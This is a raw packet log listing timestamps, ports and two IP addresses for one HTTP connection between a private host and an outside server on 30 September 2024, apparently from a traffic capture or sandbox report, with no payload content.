Sep 30, 2024 12:22:36.547735929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547761917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547766924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547792912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547806025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547827005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547842979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547858000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547871113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547890902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547899008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547924042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547935009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547957897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547970057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547991037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.548002005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.548024893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.548036098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.548067093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630382061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630407095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630439997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630458117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630472898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630491972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630500078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630520105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630526066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630539894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630563021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630580902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630889893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630919933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630934954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630934954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.630959034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.630973101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631000996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631017923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631035089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631052971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631052971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631074905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631091118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631092072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631113052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631129980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631165981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631181002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631196976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631200075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631213903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631218910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631232977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631247044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631247044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631263971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631280899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631298065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631304026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631320000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631339073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631355047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631433964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631449938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631465912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631473064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631481886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631491899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631498098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631506920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631521940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631540060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631581068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631597042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631616116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631617069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631630898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631642103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631647110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631661892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631663084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631679058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631685972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631700993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631705046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631727934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631746054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631942987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631958961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631974936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631983042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.631992102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.631997108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632008076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632014990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632030964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632047892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632088900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632105112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632122040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632126093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632138014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632142067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632155895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632159948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632173061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632179022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632188082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632193089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632205009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632206917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632220984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632221937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632235050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632236958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632252932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632256031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632270098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632272959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632287025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632306099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632312059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632333040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632349014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632349968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632360935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632365942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632384062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632396936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632462025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632478952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632494926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632503033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632514000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632514954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632529974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632530928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632550955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632563114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632606983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632622004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632638931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632641077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632652998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632653952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632667065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632678032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632693052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632693052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632709026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632714033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632723093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632725954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632740974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632744074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632755995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632756948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632771969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632776022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632790089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.632792950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632810116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.632827997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633021116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633035898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633055925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633058071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633065939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633073092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633089066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633099079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633104086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633126974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633126974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633141994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633155107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633160114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633174896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633176088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633193016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633200884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633208990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633227110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633248091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633306980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633322001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633337975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633346081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633353949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633361101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633369923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633378029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633394957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633409023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633450031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633465052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633481979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633485079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633497953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633502960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633513927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633517981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633531094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633534908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633548975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633549929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633568048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633580923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633699894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633716106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633732080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633734941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633748055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633749008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633761883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633765936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633780003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633784056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633799076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633801937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633816004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633816957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.633831024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.633852959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.676466942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676500082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676515102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676532030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676573038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.676575899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676590919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.676599979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676628113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.676637888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.676656008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.676671028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717298985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717355013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717382908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717411041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717427015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717448950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717456102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717483997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717494011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717519045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717529058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717556953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717565060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717602968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.717947006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.717994928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718014002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718049049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718061924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718082905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718101025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718122005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718153000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718185902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718202114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718219995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718230963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718266010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718286991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718321085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718333960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718353987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718386889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718393087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718420029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718422890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718442917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718453884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718455076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718487024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718499899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718528032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718530893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718573093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718580961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718612909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718626976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718645096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718655109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718683004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718704939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718717098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718720913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718750954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718764067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718786001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718792915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718821049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718835115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718867064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718871117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718903065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718911886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718938112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718950987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.718971014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.718981981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719003916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719019890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719038963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719048977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719072104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719084978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719105005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719111919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719139099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719151974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719175100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719181061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719221115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719228029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719261885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719273090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719295025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719305038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719331026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719338894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719364882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719376087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719409943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719441891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719475985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719490051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719510078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719521999 CEST	52534	80	192.168.2.4	5.42.101.62
